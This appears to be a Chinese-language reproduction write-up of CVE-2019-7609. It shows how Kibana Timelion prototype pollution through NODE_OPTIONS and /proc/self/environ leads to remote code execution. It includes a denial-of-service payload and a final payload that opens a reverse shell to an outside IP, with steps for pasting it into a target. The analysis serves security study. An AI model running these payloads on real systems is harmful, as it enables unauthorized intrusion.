(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行

# (CVE-2019-7609)Kibana < 6.6.0 未授权远程代码命令执行 =============== 一、漏洞简介 ------------ Kibana 是一款开源的数据分析和可视化平台,它是Elastic Stack成员之一,设计用于和Elasticsearch协作。 二、漏洞影响 ------------ kibana \< 6.6.0 三、复现过程 ------------ #### 环境搭建 docker pull docker.elastic.co/kibana/kibana:6.5.4 docker network create elastic docker run --network=elastic --name=elasticsearch docker.elastic.co/elasticsearch/elasticsearch:6.5.4 docker run -d --name kibana --net elastic -p 5601:5601 docker.elastic.co/kibana/kibana:6.5.4 docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' kibana 这样启动的kibana没法调试,可以自己改改镜像,在node启动命令里加个inspect参数: docker ps -a --no-trunc # 找到启动脚本 在node启动命令后加上--inspect=0.0.0.0:9229 docker commit kibana kibana-debug # 保存修改后的镜像 docker rm -f kibana docker run --name kibana --net elastic -p 5601:5601 -p 9229:9229 kibana-debug # 启动修改后的kibana容器 kibana控制台: inspect调试器:chrome://inspect/

#### 漏洞分析

原型链污染点:props()函数可以给对象设置属性

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId27.png)

有了污染点,就可以思考怎么利用了。

最简单的利用,设置一个cookie就可以导致拒绝服务:

.es(*).props(label.__proto__.cookie=”aaa”)

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId28.png)

要复原的话可以在inspect调试器里删掉原型对象的cookie属性:

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId29.png)

DOS很好实现,怎么搞成RCE呢?根据经验,容易想到一些常见情形,如:

if(obj.jsCode) eval(obj.jsCode) 这种白给的
express ejs模版引擎中的动态函数调用

作者并没有找到明显的代码执行点,但是在瞎点到canvas的时候,他发现控制台暴了很多错误(这是inpector的输出,也就是说如果启docker的时候加了-d的话,可能就错过这个RCE了\…)。

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId30.png)

作者据此得出结论:kibana在创建新进程
创建进程可就是个敏感的行为了,能不能污染命令/参数呢?
来动态看下进程创建的过程,

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId31.png)

首先调用normalizeSpawnArguments.apply()处理参数,

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId32.png)

跟进,

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId33.png)

这里实际是在处理child\_process.spawn(command\[, args\]\[,
options\])的第三个参数options。

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId34.png)

这里面的有些参数是undefined的,只有声明了才会处理,也即是我们可以污染的。
作者利用的就是这个env参数,它以键值对的形式向子进程传递环境变量(我尝试了一些其它参数,没发现可利用的)。

能控制进程的环境变量了,有什么用呢?我们不知道子进程会对环境变量做些什么操作啊,这是容易被忽视的一个重点。
回想下控制台报的错:\”Starting inspector on 0.0.0.0:9229 failed: address
already in use\”。
这句话透露出的是:此时正在创建一个node命令进程,并且使用了\–inpect:0.0.0.0:9229参数。
这下目标就清晰了,我们能控制的node的环境变量。

在node中,有一个NODE\_OPTIONS变量,

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId35.png)

通过这个变量,可以覆盖node进程的参数。
也就是说,现在我们能控制node进程的参数了。这就很有用了,比如\–eval参数是可以直接执行代码的。

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId36.png)

但是,NODE\_OPTIONS似乎考虑到了这种潜在的安全问题,它只能使用部分参数,向\–eval这种是用不了的。

不过作者找到了另一个参数\–require,

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId37.png)

这个有点像php里的auto\_prepend\_file,预加载一个文件。

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId38.png)

现在我们可以看成有一个文件包含的洞了,怎么RCE呢?
通常,我们都会上传一个文件再包含,或者去包含web服务器日志/SSH日志。
作者这里利用的方法也十分巧妙,Linux下一切皆文件,我们已经能控制子进程的环境变量,也就是能控制/proc/self/environ这个文件,直接包含这个文件不就好了。

![](/static/qingy/(CVE-2019-7609)Kibana___6.6.0_未授权远程代码命令执行/img/rId39.png)

最后payload如下:

> 将POC里的反链IP地址换成自己的,然后在目标机器上的 `Timelion`
> 选项下将以下 `POC` 粘贴进去,然后点击 `Run` 运行:

.es(*).props(label.__proto__.env.AAAA=’require(“child_process”).exec(“bash -c \’bash -i>& /dev/tcp/10.70.53.113/6666 0>&1\'”);//’)
.props(label.__proto__.env.NODE_OPTIONS=’–require /proc/self/environ’)

然后自己机器开启监听,再点击 Canvas

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容